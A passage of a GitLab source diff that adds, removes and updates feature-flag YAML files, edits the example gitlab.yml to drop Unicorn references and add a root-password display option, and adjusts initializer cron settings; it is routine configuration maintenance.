+++ b/config/feature_flags/development/redirect_to_latest_template_jobs_browser_performance_testing.yml
@@ -0,0 +1,8 @@
+---
+name: redirect_to_latest_template_jobs_browser_performance_testing
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63144
+rollout_issue_url:
+milestone: '14.0'
+type: development
+group: group::pipeline authoring
+default_enabled: false
diff --git a/config/feature_flags/development/redirect_to_latest_template_security_api_fuzzing.yml b/config/feature_flags/development/redirect_to_latest_template_security_api_fuzzing.yml
new file mode 100644
index 00000000000..96606515bda
--- /dev/null
+++ b/config/feature_flags/development/redirect_to_latest_template_security_api_fuzzing.yml
@@ -0,0 +1,8 @@
+---
+name: redirect_to_latest_template_security_api_fuzzing
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63144
+rollout_issue_url:
+milestone: '14.0'
+type: development
+group: group::pipeline authoring
+default_enabled: false
diff --git a/config/feature_flags/development/redirect_to_latest_template_security_dast.yml b/config/feature_flags/development/redirect_to_latest_template_security_dast.yml
new file mode 100644
index 00000000000..a95c1e1a045
--- /dev/null
+++ b/config/feature_flags/development/redirect_to_latest_template_security_dast.yml
@@ -0,0 +1,8 @@
+---
+name: redirect_to_latest_template_security_dast
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63144
+rollout_issue_url:
+milestone: '14.0'
+type: development
+group: group::pipeline authoring
+default_enabled: false
diff --git a/config/feature_flags/development/redirect_to_latest_template_terraform.yml b/config/feature_flags/development/redirect_to_latest_template_terraform.yml
new file mode 100644
index 00000000000..cb5d833fa2d
--- /dev/null
+++ b/config/feature_flags/development/redirect_to_latest_template_terraform.yml
@@ -0,0 +1,8 @@
+---
+name: redirect_to_latest_template_terraform
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63144
+rollout_issue_url:
+milestone: '14.0'
+type: development
+group: group::pipeline authoring
+default_enabled: false
diff --git a/config/feature_flags/development/redirect_to_latest_template_verify_browser_performance.yml b/config/feature_flags/development/redirect_to_latest_template_verify_browser_performance.yml
new file mode 100644
index 00000000000..4df74a5b07a
--- /dev/null
+++ b/config/feature_flags/development/redirect_to_latest_template_verify_browser_performance.yml
@@ -0,0 +1,8 @@
+---
+name: redirect_to_latest_template_verify_browser_performance
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63144
+rollout_issue_url:
+milestone: '14.0'
+type: development
+group: group::pipeline authoring
+default_enabled: false
diff --git a/config/feature_flags/development/release_mr_issue_urls.yml b/config/feature_flags/development/release_mr_issue_urls.yml
deleted file mode 100644
index 4f9b43ce4e1..00000000000
--- a/config/feature_flags/development/release_mr_issue_urls.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: release_mr_issue_urls
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18727
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/276619
-milestone: '12.4'
-type: development
-group: group::release
-default_enabled: true
diff --git a/config/feature_flags/development/releases_index_apollo_client.yml b/config/feature_flags/development/releases_index_apollo_client.yml
new file mode 100644
index 00000000000..072d72af573
--- /dev/null
+++ b/config/feature_flags/development/releases_index_apollo_client.yml
@@ -0,0 +1,8 @@
+---
+name: releases_index_apollo_client
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61828
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/331006
+milestone: '14.0'
+type: development
+group: group::release
+default_enabled: true
diff --git a/config/feature_flags/development/runner_graphql_query.yml b/config/feature_flags/development/runner_graphql_query.yml
index 1ad90d362d0..356c465fbbc 100644
--- a/config/feature_flags/development/runner_graphql_query.yml
+++ b/config/feature_flags/development/runner_graphql_query.yml
@@ -6,3 +6,4 @@ milestone:
type: development
group: group::runner
default_enabled: false
+milestone: '13.12'
diff --git a/config/feature_flags/development/runner_list_view_vue_ui.yml b/config/feature_flags/development/runner_list_view_vue_ui.yml
new file mode 100644
index 00000000000..9aa4cf7c83c
--- /dev/null
+++ b/config/feature_flags/development/runner_list_view_vue_ui.yml
@@ -0,0 +1,8 @@
+---
+name: runner_list_view_vue_ui
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61241
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/330969
+milestone: '13.12'
+type: development
+group: group::runner
+default_enabled: false
diff --git a/config/feature_flags/development/runners_cached_states.yml b/config/feature_flags/development/runners_cached_states.yml
deleted file mode 100644
index e7ea63be1f6..00000000000
--- a/config/feature_flags/development/runners_cached_states.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: runners_cached_states
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57367
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326989
-milestone: '13.11'
-type: development
-group: group::source code
-default_enabled: false
diff --git a/config/feature_flags/development/s3_multithreaded_uploads.yml b/config/feature_flags/development/s3_multithreaded_uploads.yml
index cab1925488a..92ba4da7e67 100644
--- a/config/feature_flags/development/s3_multithreaded_uploads.yml
+++ b/config/feature_flags/development/s3_multithreaded_uploads.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50922
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/296772
milestone: '13.8'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: true
diff --git a/config/feature_flags/development/security_ci_lint_authorization.yml b/config/feature_flags/development/security_ci_lint_authorization.yml
new file mode 100644
index 00000000000..73b3bd45727
--- /dev/null
+++ b/config/feature_flags/development/security_ci_lint_authorization.yml
@@ -0,0 +1,8 @@
+---
+name: security_ci_lint_authorization
+introduced_by_url: https://gitlab.com/gitlab-org/security/gitlab/-/merge_requests/1279
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326708
+milestone: '14.0'
+type: development
+group: group::pipeline authoring
+default_enabled: false
diff --git a/config/feature_flags/development/security_configuration_redesign.yml b/config/feature_flags/development/security_configuration_redesign.yml
new file mode 100644
index 00000000000..16627191edc
--- /dev/null
+++ b/config/feature_flags/development/security_configuration_redesign.yml
@@ -0,0 +1,8 @@
+---
+name: security_configuration_redesign
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62285
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/331614
+milestone: '14.0'
+type: development
+group: group::static analysis
+default_enabled: false
diff --git a/config/feature_flags/development/security_dast_site_profiles_additional_fields.yml b/config/feature_flags/development/security_dast_site_profiles_additional_fields.yml
deleted file mode 100644
index ef4d1cb3bfe..00000000000
--- a/config/feature_flags/development/security_dast_site_profiles_additional_fields.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: security_dast_site_profiles_additional_fields
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46848
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/292897
-milestone: '13.7'
-type: development
-group: group::dynamic analysis
-default_enabled: true
diff --git a/config/feature_flags/development/security_dast_site_profiles_api_option.yml b/config/feature_flags/development/security_dast_site_profiles_api_option.yml
deleted file mode 100644
index 8a9c6fefb5d..00000000000
--- a/config/feature_flags/development/security_dast_site_profiles_api_option.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: security_dast_site_profiles_api_option
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58723
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/325130
-milestone: '13.12'
-type: development
-group: group::dynamic analysis
-default_enabled: true
diff --git a/config/feature_flags/development/show_relevant_approval_rule_approvers.yml b/config/feature_flags/development/show_relevant_approval_rule_approvers.yml
index 40a486e380b..2fef085381d 100644
--- a/config/feature_flags/development/show_relevant_approval_rule_approvers.yml
+++ b/config/feature_flags/development/show_relevant_approval_rule_approvers.yml
@@ -1,6 +1,6 @@
---
name: show_relevant_approval_rule_approvers
-introduced_by_url:
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60339
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/329153
milestone: '13.12'
type: development
diff --git a/config/feature_flags/development/sidebar_refactor.yml b/config/feature_flags/development/sidebar_refactor.yml
index 317fbee87f5..eb13adfd147 100644
--- a/config/feature_flags/development/sidebar_refactor.yml
+++ b/config/feature_flags/development/sidebar_refactor.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326111
milestone: '13.11'
type: development
group: group::editor
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/sidekiq_load_balancing_rotate_up_to_date_replica.yml b/config/feature_flags/development/sidekiq_load_balancing_rotate_up_to_date_replica.yml
new file mode 100644
index 00000000000..4532cc0a59d
--- /dev/null
+++ b/config/feature_flags/development/sidekiq_load_balancing_rotate_up_to_date_replica.yml
@@ -0,0 +1,8 @@
+---
+name: sidekiq_load_balancing_rotate_up_to_date_replica
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63413/
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/333153
+milestone: '14.0'
+type: development
+group: group::memory
+default_enabled: false
diff --git a/config/feature_flags/development/specialized_project_authorization_project_share_worker.yml b/config/feature_flags/development/specialized_project_authorization_project_share_worker.yml
deleted file mode 100644
index 4e170fa13c9..00000000000
--- a/config/feature_flags/development/specialized_project_authorization_project_share_worker.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: specialized_project_authorization_project_share_worker
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/32864
-rollout_issue_url:
-milestone: '13.2'
-type: development
-group: group::access
-default_enabled: true
diff --git a/config/feature_flags/development/specialized_project_authorization_workers.yml b/config/feature_flags/development/specialized_project_authorization_workers.yml
deleted file mode 100644
index 16d6d4ed82f..00000000000
--- a/config/feature_flags/development/specialized_project_authorization_workers.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: specialized_project_authorization_workers
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31377
-rollout_issue_url:
-milestone: '13.0'
-type: development
-group: group::access
-default_enabled: true
diff --git a/config/feature_flags/development/ssh_key_expiration_email_notification.yml b/config/feature_flags/development/ssh_key_expiration_email_notification.yml
deleted file mode 100644
index f1d081dad18..00000000000
--- a/config/feature_flags/development/ssh_key_expiration_email_notification.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ssh_key_expiration_email_notification
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56888
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326386
-milestone: '13.11'
-type: development
-group: group::compliance
-default_enabled: true
diff --git a/config/feature_flags/development/sync_traversal_ids.yml b/config/feature_flags/development/sync_traversal_ids.yml
index bd612f9646c..188bb3e0975 100644
--- a/config/feature_flags/development/sync_traversal_ids.yml
+++ b/config/feature_flags/development/sync_traversal_ids.yml
@@ -5,3 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/321947
group: group::access
type: development
default_enabled: true
+milestone: '13.11'
diff --git a/config/feature_flags/development/unified_diff_components.yml b/config/feature_flags/development/unified_diff_components.yml
index 0176d8c55ba..262458820f7 100644
--- a/config/feature_flags/development/unified_diff_components.yml
+++ b/config/feature_flags/development/unified_diff_components.yml
@@ -5,3 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/268039
type: development
group: group::code review
default_enabled: true
+milestone: '13.6'
diff --git a/config/feature_flags/development/usage_data_i_testing_group_code_coverage_project_click_total.yml b/config/feature_flags/development/usage_data_i_testing_group_code_coverage_project_click_total.yml
deleted file mode 100644
index c4850caaf9d..00000000000
--- a/config/feature_flags/development/usage_data_i_testing_group_code_coverage_project_click_total.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: usage_data_i_testing_group_code_coverage_project_click_total
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/51411
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/299893
-milestone: '13.8'
-type: development
-group: group::testing
-default_enabled: true
diff --git a/config/feature_flags/development/usage_data_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile.yml b/config/feature_flags/development/usage_data_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile.yml
deleted file mode 100644
index 36fe28236ec..00000000000
--- a/config/feature_flags/development/usage_data_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: usage_data_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/54707
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/322166
-milestone: '13.10'
-type: development
-group: group::pipeline authoring
-default_enabled: true
diff --git a/config/feature_flags/development/usage_data_p_terraform_state_api_unique_users.yml b/config/feature_flags/development/usage_data_p_terraform_state_api_unique_users.yml
deleted file mode 100644
index e11fb0a8b25..00000000000
--- a/config/feature_flags/development/usage_data_p_terraform_state_api_unique_users.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: usage_data_p_terraform_state_api_unique_users
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/50224
-rollout_issue_url:
-milestone: '13.8'
-type: development
-group: group::configure
-default_enabled: true
diff --git a/config/feature_flags/development/usage_data_track_ecosystem_jira_service.yml b/config/feature_flags/development/usage_data_track_ecosystem_jira_service.yml
deleted file mode 100644
index adf850aa8bc..00000000000
--- a/config/feature_flags/development/usage_data_track_ecosystem_jira_service.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: usage_data_track_ecosystem_jira_service
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52110
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/300447
-milestone: '13.9'
-type: development
-group: group::ecosystem
-default_enabled: false
diff --git a/config/feature_flags/development/usage_data_unique_users_committing_ciconfigfile.yml b/config/feature_flags/development/usage_data_unique_users_committing_ciconfigfile.yml
deleted file mode 100644
index 1d3092ed615..00000000000
--- a/config/feature_flags/development/usage_data_unique_users_committing_ciconfigfile.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: usage_data_unique_users_committing_ciconfigfile
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52172
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/299403
-milestone: '13.9'
-type: development
-group: group::pipeline authoring
-default_enabled: true
diff --git a/config/feature_flags/development/use_distinct_in_register_job_object_hierarchy.yml b/config/feature_flags/development/use_distinct_in_register_job_object_hierarchy.yml
index 8c57f197a87..b9652d26834 100644
--- a/config/feature_flags/development/use_distinct_in_register_job_object_hierarchy.yml
+++ b/config/feature_flags/development/use_distinct_in_register_job_object_hierarchy.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57045
rollout_issue_url:
milestone: '13.11'
type: development
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: false
diff --git a/config/feature_flags/development/use_distinct_in_shas_cte.yml b/config/feature_flags/development/use_distinct_in_shas_cte.yml
index e93fb48be5d..b741b8d5f0c 100644
--- a/config/feature_flags/development/use_distinct_in_shas_cte.yml
+++ b/config/feature_flags/development/use_distinct_in_shas_cte.yml
@@ -1,8 +1,8 @@
---
name: use_distinct_in_shas_cte
-introduced_by_url:
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61454
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/330586
milestone: '13.12'
type: development
group: group::optimize
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/use_specialized_worker_for_project_auth_recalculation.yml b/config/feature_flags/development/use_specialized_worker_for_project_auth_recalculation.yml
new file mode 100644
index 00000000000..01889de5b0d
--- /dev/null
+++ b/config/feature_flags/development/use_specialized_worker_for_project_auth_recalculation.yml
@@ -0,0 +1,8 @@
+---
+name: use_specialized_worker_for_project_auth_recalculation
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60904
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/331073
+milestone: '14.0'
+type: development
+group: group::access
+default_enabled: false
diff --git a/config/feature_flags/development/use_traversal_ids_for_root_ancestor.yml b/config/feature_flags/development/use_traversal_ids_for_root_ancestor.yml
new file mode 100644
index 00000000000..be02645720e
--- /dev/null
+++ b/config/feature_flags/development/use_traversal_ids_for_root_ancestor.yml
@@ -0,0 +1,8 @@
+---
+name: use_traversal_ids_for_root_ancestor
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61163
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/331907
+milestone: '14.0'
+type: development
+group: group::access
+default_enabled: false
diff --git a/config/feature_flags/development/validate_import_decompressed_archive_size.yml b/config/feature_flags/development/validate_import_decompressed_archive_size.yml
index 675586bc9ee..cd8f7756b13 100644
--- a/config/feature_flags/development/validate_import_decompressed_archive_size.yml
+++ b/config/feature_flags/development/validate_import_decompressed_archive_size.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/282245
milestone: '13.4'
type: development
group: group::import
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/vue_admin_users.yml b/config/feature_flags/development/vue_admin_users.yml
deleted file mode 100644
index d7a37542cfd..00000000000
--- a/config/feature_flags/development/vue_admin_users.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: vue_admin_users
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48922
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/290737
-milestone: '13.7'
-type: development
-group: group::compliance
-default_enabled: true
diff --git a/config/feature_flags/development/webauthn.yml b/config/feature_flags/development/webauthn.yml
index 5339074e84a..0dc9e2b7bfd 100644
--- a/config/feature_flags/development/webauthn.yml
+++ b/config/feature_flags/development/webauthn.yml
@@ -1,7 +1,7 @@
---
name: webauthn
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/26692
-rollout_issue_url:
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/232671
milestone: '13.4'
type: development
group: group::access
diff --git a/config/feature_flags/development/wiki_content_editor.yml b/config/feature_flags/development/wiki_content_editor.yml
deleted file mode 100644
index f4d86f01465..00000000000
--- a/config/feature_flags/development/wiki_content_editor.yml
+++ /dev/null
@@ -1,7 +0,0 @@
----
-name: wiki_content_editor
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57370
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/255919
-group: group::editor
-type: development
-default_enabled: false
diff --git a/config/feature_flags/experiment/ci_runner_templates.yml b/config/feature_flags/experiment/ci_runner_templates.yml
new file mode 100644
index 00000000000..e791581f67a
--- /dev/null
+++ b/config/feature_flags/experiment/ci_runner_templates.yml
@@ -0,0 +1,8 @@
+---
+name: ci_runner_templates
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/58357
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326725
+milestone: "14.0"
+type: experiment
+group: group::activation
+default_enabled: false
diff --git a/config/feature_flags/experiment/invite_members_empty_project_version_a_experiment_percentage.yml b/config/feature_flags/experiment/invite_members_empty_project_version_a_experiment_percentage.yml
deleted file mode 100644
index 8b91ec9526c..00000000000
--- a/config/feature_flags/experiment/invite_members_empty_project_version_a_experiment_percentage.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: invite_members_empty_project_version_a_experiment_percentage
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49588
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/262014
-milestone: '13.7'
-type: experiment
-group: group::expansion
-default_enabled: false
diff --git a/config/feature_flags/ops/ci_accept_trace.yml b/config/feature_flags/ops/ci_accept_trace.yml
index 2574e12f4f2..9e386085ab9 100644
--- a/config/feature_flags/ops/ci_accept_trace.yml
+++ b/config/feature_flags/ops/ci_accept_trace.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41304
rollout_issue_url:
milestone: '13.4'
type: ops
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: true
diff --git a/config/feature_flags/ops/ci_queueing_disaster_recovery.yml b/config/feature_flags/ops/ci_queueing_disaster_recovery.yml
index 8c87df59e08..6a31c29ec1d 100644
--- a/config/feature_flags/ops/ci_queueing_disaster_recovery.yml
+++ b/config/feature_flags/ops/ci_queueing_disaster_recovery.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56658
rollout_issue_url:
milestone: "13.12"
type: ops
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: false
diff --git a/config/feature_flags/ops/ci_trace_log_invalid_chunks.yml b/config/feature_flags/ops/ci_trace_log_invalid_chunks.yml
index 2deb3f42995..566290aa617 100644
--- a/config/feature_flags/ops/ci_trace_log_invalid_chunks.yml
+++ b/config/feature_flags/ops/ci_trace_log_invalid_chunks.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44409
rollout_issue_url:
milestone: '13.5'
type: ops
-group: group::continuous integration
+group: group::pipeline execution
default_enabled: false
diff --git a/config/feature_flags/ops/ci_trace_overwrite.yml b/config/feature_flags/ops/ci_trace_overwrite.yml
deleted file mode 100644
index 36caa9f6134..00000000000
--- a/config/feature_flags/ops/ci_trace_overwrite.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_trace_overwrite
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41304
-rollout_issue_url:
-milestone: '13.4'
-type: ops
-group: group::continuous integration
-default_enabled: false
diff --git a/config/feature_flags/ops/dedicated_redis_trace_chunks.yml b/config/feature_flags/ops/dedicated_redis_trace_chunks.yml
new file mode 100644
index 00000000000..1f3da11dfd5
--- /dev/null
+++ b/config/feature_flags/ops/dedicated_redis_trace_chunks.yml
@@ -0,0 +1,8 @@
+---
+name: dedicated_redis_trace_chunks
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62938
+rollout_issue_url: https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/1096
+milestone: '14.0'
+type: ops
+group: team::Scalability
+default_enabled: false
diff --git a/config/feature_flags/ops/dynamic_nonce.yml b/config/feature_flags/ops/dynamic_nonce.yml
new file mode 100644
index 00000000000..6a63eda8862
--- /dev/null
+++ b/config/feature_flags/ops/dynamic_nonce.yml
@@ -0,0 +1,8 @@
+---
+name: dynamic_nonce
+introduced_by_url:
+rollout_issue_url:
+milestone: '14.0'
+type: ops
+group: group::access
+default_enabled: false
diff --git a/config/gitlab.yml.example b/config/gitlab.yml.example
index aee9dd455af..c9b056ce956 100644
--- a/config/gitlab.yml.example
+++ b/config/gitlab.yml.example
@@ -33,7 +33,7 @@ production: &base
host: localhost
port: 80 # Set to 443 if using HTTPS, see installation.md#using-https for additional HTTPS configuration details
https: false # Set to true if using HTTPS, see installation.md#using-https for additional HTTPS configuration details
- # The maximum time unicorn/puma can spend on the request. This needs to be smaller than the worker timeout.
+ # The maximum time Puma can spend on the request. This needs to be smaller than the worker timeout.
# Default is 95% of the worker timeout
max_request_duration_seconds: 57
@@ -153,7 +153,7 @@ production: &base
### GraphQL Settings
# Tells the rails application how long it has to complete a GraphQL request.
# We suggest this value to be higher than the database timeout value
- # and lower than the worker timeout set in unicorn/puma. (default: 30)
+ # and lower than the worker timeout set in Puma. (default: 30)
# graphql_timeout: 30
## Repository downloads directory
@@ -170,6 +170,9 @@ production: &base
## Application settings cache expiry in seconds (default: 60)
# application_settings_cache_seconds: 60
+ ## Print initial root password to stdout during initialization (default: true)
+ # display_initial_root_password: true
+
## Reply by email
# Allow users to comment on issues and merge requests by replying to notification emails.
# For documentation on how to set this up, see http://doc.gitlab.com/ce/administration/reply_by_email.html
@@ -502,7 +505,7 @@ production: &base
ee_cron_jobs:
# Schedule snapshots for all devops adoption segments
analytics_devops_adoption_create_all_snapshots_worker:
- cron: 0 4 * * 0
+ cron: 0 0 1 * *
# Snapshot active users statistics
historical_data_worker:
@@ -1089,8 +1092,6 @@ production: &base
# Gitaly settings
gitaly:
- # Path to the directory containing Gitaly client executables.
- client_path: /home/git/gitaly
# Default Gitaly authentication token. Can be overridden per storage. Can
# be left blank when Gitaly is running locally on a Unix socket, which
# is the normal way to deploy Gitaly.
@@ -1212,8 +1213,6 @@ production: &base
## Monitoring
# Built in monitoring settings
monitoring:
- # Time between sampling of unicorn socket metrics, in seconds
- # unicorn_sampler_interval: 10
# IP whitelist to access monitoring endpoints
ip_whitelist:
- 127.0.0.0/8
@@ -1225,7 +1224,7 @@ production: &base
# address: localhost
# port: 8082
- # Web exporter is webserver built in to Unicorn/Puma to expose Prometheus metrics
+ # Web exporter is a dedicated Rack server running alongside Puma to expose Prometheus metrics
# It runs alongside the `/metrics` endpoints to ease the publish of metrics
web_exporter:
# enabled: true
diff --git a/config/initializers/0_acts_as_taggable.rb b/config/initializers/0_acts_as_taggable.rb
index 9a92b8f2d18..9f66d970ffd 100644
--- a/config/initializers/0_acts_as_taggable.rb
+++ b/config/initializers/0_acts_as_taggable.rb
@@ -9,3 +9,7 @@ ActsAsTaggableOn.tags_counter = false
# validate that counter cache is disabled
raise "Counter cache is not disabled" if
ActsAsTaggableOn::Tagging.reflections["tag"].options[:counter_cache]
+
+ActsAsTaggableOn::Tagging.include IgnorableColumns
+ActsAsTaggableOn::Tagging.ignore_column :id_convert_to_bigint, remove_with: '14.2', remove_after: '2021-08-22'
+ActsAsTaggableOn::Tagging.ignore_column :taggable_id_convert_to_bigint, remove_with: '14.2', remove_after: '2021-08-22'
diff --git a/config/initializers/1_settings.rb b/config/initializers/1_settings.rb
index 8d5e19afc20..8f4c6492cad 100644
--- a/config/initializers/1_settings.rb
+++ b/config/initializers/1_settings.rb
@@ -216,6 +216,8 @@ Settings.gitlab['impersonation_enabled'] ||= true if Settings.gitlab['impersonat
Settings.gitlab['usage_ping_enabled'] = true if Settings.gitlab['usage_ping_enabled'].nil?
Settings.gitlab['max_request_duration_seconds'] ||= 57
+Settings.gitlab['display_initial_root_password'] = true if Settings.gitlab['display_initial_root_password'].nil?
+
Gitlab.ee do
Settings.gitlab['mirror_max_delay'] ||= 300
Settings.gitlab['mirror_max_capacity'] ||= 30
@@ -584,7 +586,7 @@ end
Gitlab.ee do
Settings.cron_jobs['analytics_devops_adoption_create_all_snapshots_worker'] ||= Settingslogic.new({})
- Settings.cron_jobs['analytics_devops_adoption_create_all_snapshots_worker']['cron'] ||= '0 4 * * 0'
+ Settings.cron_jobs['analytics_devops_adoption_create_all_snapshots_worker']['cron'] ||= '0 0 1 * *'
Settings.cron_jobs['analytics_devops_adoption_create_all_snapshots_worker']['job_class'] = 'Analytics::DevopsAdoption::CreateAllSnapshotsWorker'
Settings.cron_jobs['active_user_count_threshold_worker'] ||= Settingslogic.new({})
Settings.cron_jobs['active_user_count_threshold_worker']['cron'] ||= '0 12 * * *'
@@ -676,9 +678,6 @@ Gitlab.ee do
Settings.cron_jobs['sync_seat_link_worker'] ||= Settingslogic.new({})
Settings.cron_jobs['sync_seat_link_worker']['cron'] ||= "#{rand(60)} 3 * * * UTC"
Settings.cron_jobs['sync_seat_link_worker']['job_class'] = 'SyncSeatLinkWorker'
- Settings.cron_jobs['web_application_firewall_metrics_worker'] ||= Settingslogic.new({})
- Settings.cron_jobs['web_application_firewall_metrics_worker']['cron'] ||= '0 1 * * 0'
- Settings.cron_jobs['web_application_firewall_metrics_worker']['job_class'] = 'IngressModsecurityCounterMetricsWorker'
Settings.cron_jobs['users_create_statistics_worker'] ||= Settingslogic.new({})
Settings.cron_jobs['users_create_statistics_worker']['cron'] ||= '2 15 * * *'
Settings.cron_jobs['users_create_statistics_worker']['job_class'] = 'Users::CreateStatisticsWorker'
@@ -688,6 +687,9 @@ Gitlab.ee do
Settings.cron_jobs['iterations_update_status_worker'] ||= Settingslogic.new({})
Settings.cron_jobs['iterations_update_status_worker']['cron'] ||= '5 0 * * *'
Settings.cron_jobs['iterations_update_status_worker']['job_class'] = 'IterationsUpdateStatusWorker'
+ Settings.cron_jobs['iterations_generator_worker'] ||= Settingslogic.new({})
+ Settings.cron_jobs['iterations_generator_worker']['cron'] ||= '5 0 * * *'
+ Settings.cron_jobs['iterations_generator_worker']['job_class'] = 'Iterations::Cadences::ScheduleCreateIterationsWorker'
Settings.cron_jobs['vulnerability_statistics_schedule_worker'] ||= Settingslogic.new({})
Settings.cron_jobs['vulnerability_statistics_schedule_worker']['cron'] ||= '15 1 * * *'
Settings.cron_jobs['vulnerability_statistics_schedule_worker']['job_class'] = 'Vulnerabilities::Statistics::ScheduleWorker'
@@ -902,7 +904,6 @@ Settings.webpack.dev_server['https'] ||= false
#
Settings['monitoring'] ||= Settingslogic.new({})
Settings.monitoring['ip_whitelist'] ||= ['127.0.0.1/8']
-Settings.monitoring['unicorn_sampler_interval'] ||= 10
Settings.monitoring['sidekiq_exporter'] ||= Settingslogic.new({})
Settings.monitoring.sidekiq_exporter['enabled'] ||= false
Settings.monitoring.sidekiq_exporter['log_enabled'] ||= false
diff --git a/config/initializers/6_labkit_middleware.rb b/config/initializers/6_labkit_middleware.rb
